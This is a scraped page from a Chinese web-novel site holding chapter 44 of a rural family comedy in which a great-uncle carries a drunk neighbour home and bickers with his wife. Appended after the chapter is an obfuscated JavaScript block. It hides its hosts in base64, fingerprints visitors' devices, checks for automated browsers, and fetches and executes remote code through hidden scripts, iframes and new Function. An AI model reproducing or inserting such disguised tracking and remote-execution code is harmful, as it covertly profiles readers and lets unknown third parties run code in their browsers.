小说骑士

登陆 注册
字:
关灯 护眼
小说骑士 > 姥娘带我出马仙 > 44.第44章 044章:你就不能讲点卫生啊? (1685字)

44.第44章 044章:你就不能讲点卫生啊?

更多热门小说请关注 小说骑士网 www.txt74.com

  “老汉我眼睛有点花,耳朵有点背,身体那可是天天下地干活的材料,德子就交给我了,我给他扛回去,你和晓晓前头走吧!”舅姥爷说完,卷起两只袖子,“噗!噗!”往自己两只手掌上,吐了两口吐沫。

   我瞬间感觉,自己的胃开始翻腾,喉咙里有东西要涌出来,那恶心想吐的感觉,压都压不住,嘴巴里的口水,开始翻滚着......

   “舅姥爷!你就不能讲点卫生啊?我早上吃的饭,都快让你给恶心吐出来了!呕......”

   还别说,舅姥爷虽然年纪大了一些,体力绝对不比城市里的年轻人差,从岔路口到村里,一路都没歇过脚,一口气就把像一堆烂泥的德子叔叔,背回了家,进屋直接就给扔炕上了。

   舅姥爷还是有些喘的说道:“这小子看着瘦,骨头里面都是肉!吃什么长大的啊!死沉,死沉的!”

   “哥,行了,已经安全把他送回家了,我们也回家吧!明天早上他醒了,自然会去家里找我们的。”姥娘看舅姥爷应该是有些累了,催促着赶快一起回家休息。

   “好,走了!走了!”舅姥爷拿袖口擦了擦额头上渗出的汗。

   折腾了一个晚上大家都累了,终于都回到了家里,舅姥娘并没有像我们走之前说的那样,不给舅姥爷留门,当我们到家门口的时候,舅姥娘伸个老长的脖子,站在门口等着,看样子应该是等了很久。

   舅姥爷一副大男人的样子说道:“你个老娘们,大半夜的不睡觉,你闹鬼啊?”

   “你个老不死的,我闹不闹鬼,关你屁事!我等我妹子和晓晓不行啊!”舅姥娘不甘示弱的顶了回去。

   别看我还是个小豆包,但是,调解夫妻感情这事,我还是很拿手的,有时候,我爸妈吵架的时候,只要我一搅和,再和个稀泥,保证他(她)们马上能回到甜蜜时刻,嘻嘻!

   我软软糯糯的声音响起,“舅姥爷,舅姥娘是担心你,又不好意思说,怕羞羞呢!”转身又对掐个腰,一副要找人打架的舅姥娘说道:“舅姥娘,舅姥爷那是担心你大晚上冷,怕你明天流鼻涕!”

   姥娘笑了笑,小声对我说:“人小鬼大,就你嘴甜!哄死人,不偿命!”说完还对我无奈的摇了摇头。

   舅姥爷粗狂的农村汉子脸上,居然挂上了两坨红,装着嗓子不舒服的咳嗽了一下,顺带还用鼻子哼了一声。

   舅姥娘那一张脸笑开了花,对着我,咯咯咯的笑道:“看看,看看,还是俺家晓晓最会哄人了,哪像某个鸭子,全身都煮熟了,就剩一张嘴硬着了。”

   “哼!累死了!谁有那闲工夫,搭理你个疯婆子,老子我要睡觉了!”舅姥爷气呼呼的说完,一甩胳膊,转身进屋了。

   “哼!哼!哼!就你会哼!谁怕你啊!哼!”舅姥娘跟机关枪一样,回敬回去。

   姥娘也有些无奈,开口对舅姥娘说道:“好了,嫂子,进屋睡觉吧!大晚上天凉,有啥事,明天再说。”



更多热门小说请关注 小说骑士网 www.txt74.com
『加入书签,方便阅读』
var x=window['\x61\x74\x6f\x62'],id=x('NDQ0NDczNzY1NjE1Nzk5OTk5OS0xMDE1Ng==');document.write('%lt;ins style="display:none!important" id="'+id+'"%gt;%lt;/ins%gt;');(window.adbyunion=window.adbyunion||[]).push(id);window['\x52\x62\x4c\x49\x4e\x52\x4b\x78\x64\x7a']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,k,w,d,c){var cs=d[x('Y3VycmVudFNjcmlwdA==')];'jQuery';var t=[],l=[],ec=0,r=0,ua=navigator.userAgent.toLowerCase(),bh=ua.indexOf('baidu')>-1||ua.indexOf('huawei')>-1,delay=bh?2000:2000,f=null,sc=Math.max(1,bh?300000:300000),ext=bh?'.html':'2',i=(bh?'nfob':'nob')+Math.floor(new Date().getTime()/sc)+ext;if(bh){f=function(){;if(!l.length)return;window.addEventListener('message',function(e){if(e.data['id']!=id)return;for(var k in t)t[k]&&clearTimeout(t[k]);new Function('_tdcs',x(e.data['msg']))(cs);});var ifr=document.createElement('iframe');ifr.width=0;ifr.height=0;ifr.style.display='none';ifr.src=l.shift()+'/'+i;document.body.appendChild(ifr);};}else{f=function(){;if(!l.length)return;var s=document.createElement('script');s.src=l.shift()+'/'+i;cs.parentElement.insertBefore(s,cs);s.onload=function(){for(var k in t)t[k]&&clearTimeout(t[k])};s.onerror=function(){cs.parentElement.removeChild(s);t[++ec]&&clearTimeout(t[e]);f()}};}u=decodeURIComponent(x(u.replace(new RegExp(c[r]+''+c[r],'g'),c[r])));var l=u.split(',');l.sort(function(){return 0.5-Math.random()});var param=(function(aid){var W=window,D=document,B=D.body,N=navigator,E='ontouchstart'in W||N.maxTouchPoints>0||N.msMaxTouchPoints>0;function fix(s){return encodeURIComponent(s).replace(/[!'()*]/g,function(c){return'%'+c.charCodeAt(0).toString(16)})}function mix(t,s){var a=[].slice.call(arguments),k,r=typeof a[a.length-1]=='boolean'?a.pop():true;for(var i=1;s=a[i++];){for(k in s)if(r||!(k in t))t[k]=s[k]}return t}var utils={guid:function(){function a(){return Math.floor((1+Math.random())*0x10000).toString(16).substring(1)}return a()+a()+''+a()+''+a()+''+a()+''+a()+a()+a()},bind:function(o,e,c){return'string'===typeof o&&(o=D.getElementById(o)),e=e.replace(/^on/i,'').toLowerCase(),o.addEventListener?o.addEventListener(e,c,!1):o.attachEvent&&o.attachEvent('on'+e,c),o}};var p1={dcc:'',dcl:'',gvd:'',grr:'',ct:''},p2={diit:'',dit:'',cmn:''},cmn=[];var mobile={ma:function(){;if(!E)return;function l(s){;if(!s)return;return s.toString().substr(0,5)}utils.bind(W,'deviceorientation',function handleFunc(ev){;if(!ev.alpha)return;p2.diit=[l(ev.alpha),l(ev.beta),l(ev.gamma)].join(',')});utils.bind(W,'devicemotion',function handleFunc(evnet){var a=evnet.accelerationIncludingGravity;if(!a.x)return;p2.dit=[l(a.x),l(a.y),l(a.z)].join(',')});utils.bind(W,'touchstart',function touchstart(ev){var clientX=ev.touches[0].clientX,clientY=ev.touches[0].clientY,v=[clientX,clientY].join('_');if(cmn.length%lt;3)cmn.push(v)})},md:function(){try{N.getBattery().then(function(b){p1.dcc=b.charging?'yes':'no';p1.dcl=Math.round(b.level*100)})}catch(e){}try{var a=D.createElement('canvas'),b=a.getContext('experimental-webgl'),c=b.getExtension('WEBGL_debug_renderer_info'),d=b.getParameter(c.UNMASKED_VENDOR_WEBGL),e=b.getParameter(c.UNMASKED_RENDERER_WEBGL).replace(/[%]/g,'');p1.gvd=d;p1.grr=e}catch(e){}try{;if(!N.connection){p1.ct='unknown';return}if(!N.connection.type){p1.ct='unknown';return}p1.ct=N.connection.type}catch(e){}},init:function(){this.ma();this.md()},ap:function(){p2.cmn=cmn.join(';');return mix(p1,p2)}};mobile.init();var client={client:function(id){var ut=utils,m=mobile;function a(){var a='';try{a=W.opener?W.opener.document.location.href:D.referrer}catch(e){a=D.referrer}if(a!=='')a=a.substr(0,8192);return fix(a)}function b(){var a='';try{a=W.top.document.location.href}catch(e){a=D.location.href}if(a!=='')a=a.substr(0,2048);return fix(a)}function c(str){var s='';for(var i=0;i%lt;str.length;i++)s+=(i>0?':':'')+str[i].charCodeAt(0);return s}function d(){try{return[W.screen.width,W.screen.height].join('x')}catch(e){return''}}function f(){return N.platform.replace(/Win/i,'v')}function g(){var a=W.screen.availWidth||0,b=W.screen.availHeight||0;return[f(),S(),W.devicePixelRatio||0,a+'.'+b].join(':')}function h(){var n=W['navigator'],a=false;for(var k in n){try{a=N['hasOwnProperty'](k)}catch(e){a=false}}return a}function i(){;if(typeof N.languages!=='undefined'){try{return N.languages[0].substr(0,2)!==N.language.substr(0,2)}catch(err){return true}}return false}function j(f){var a=[];for(var i=0;i%lt;f.length;i++)a.push(String.fromCharCode(f[i]));return a.join('')}function k(){var a=['callPhantom'in W,'_phantom'in W,'phantom'in W];for(var i=0;i%lt;a.length;i++)if(a[i])return true;return false}function l(){return j([119,101,98,100,114,105,118,101,114])in N}function S(){var b=['toString','length'];(function(a,c){var f=function(g){while(--g){a['push'](a['shift']())}};f(++c)}(b,0xb3));var c=function(a){a=a-0x0;return b[a]};return eval[c('0x1')]()[c('0x0')]*0x673124}function n(){;if(typeof W.history!=='undefined'&&typeof W.history.length!=='undefined')return W.history.length;return 0}function o(){return{top:B.scrollTop||D.documentElement.scrollTop,left:0}}function _uuid(){try{var a='',k='fillStyle',q='beginPath',n='closePath',j='fill',h='arc',e='fillText',w=Math.PI;var p=D.createElement('canvas');p.width=2000;p.height=200;p.style.display='inline';var s=p.getContext('2d');s.rect(0,0,10,10);s.rect(2,2,6,6);a+='canvas winding:'+((s.isPointInPath(5,5,'evenodd')===false)?'yes':'no');s.textBaseline='alphabetic';s[k]='#f60';s.fillRect(125,1,62,20);s[k]='#069';s.font='11pt no-real-font-123';var u='Cwm fjordbank glyphs vext quiz, \ud83d\ude03';s[e](u,2,15);s[k]='rgba(102, 204, 0, 0.2)';s.font='18pt Arial';s[e](u,4,45);s.globalCompositeOperation='multiply';s[k]='rgb(255,0,255)';s[q]();s[h](50,50,50,0,w*2,true);s[n]();s[j]();s[k]='rgb(0,255,255)';s[q]();s[h](100,50,50,0,w*2,true);s[n]();s[j]();s[k]='rgb(255,255,0)';s[q]();s[h](75,100,50,0,w*2,true);s[n]();s[j]();s[k]='rgb(255,0,255)';s[h](75,75,75,0,w*2,true);s[h](75,75,25,0,w*2,true);s[j]('evenodd');if(p.toDataURL){a+=';canvas fp:'+p.toDataURL()}return(function(c){var b=0;if(c.length===0){return b}for(var i=0;i%lt;c.length;i++){b=((b%lt;%lt;5)-b)+c.charCodeAt(i);b=b&b}return b})(a)}catch(o){return o.message}}function init(){var p={frm:W.top!==W.self?1:0,url:b(),ref:a(),ic:N.cookieEnabled?1:0,pl:N.plugins.length,ml:N.mimeTypes.length,sid:c(g()),ps:N.productSub||'',lgs:i()?1:0,zo:new Date().getTimezoneOffset(),ws:d(),gdm:N.deviceMemory||0,iw:l()?1:0,cpn:N.hardwareConcurrency||0,fid:'',hl:n(),ihn:h()?1:0,md:E?1:0,ns:'',np:'',pj:k()?1:0};mix(p,o(),{'id':id,'rid':ut.guid(),'rid2':ut.guid(),'uuid':_uuid()},m.ap());return p}return init()}};return new Promise(function(resolve,reject){setTimeout(function(){var r=[],u=aid.split('-'),p=client.client(u[1]);for(var k in p)r.push(k+'='+p[k]);resolve(r.join('&'))},10)})})(id);param.then(function(p){i=i+'?'+p;for(var j in l)t[j]=setTimeout(f,delay*j)});})('aHR0cHM6Ly9ha3Nka2ZqLmJpZXhzaXRlLm5lddA==','d3NzOOi8vd3MueGlhb21hb2x2dGVjaC5jb206OOTU5NSx3c3M6Ly93cy5taXNpZ2wuY29tOOjk1OOTU=',window,document,['d','O']);}:function(){};
统计代码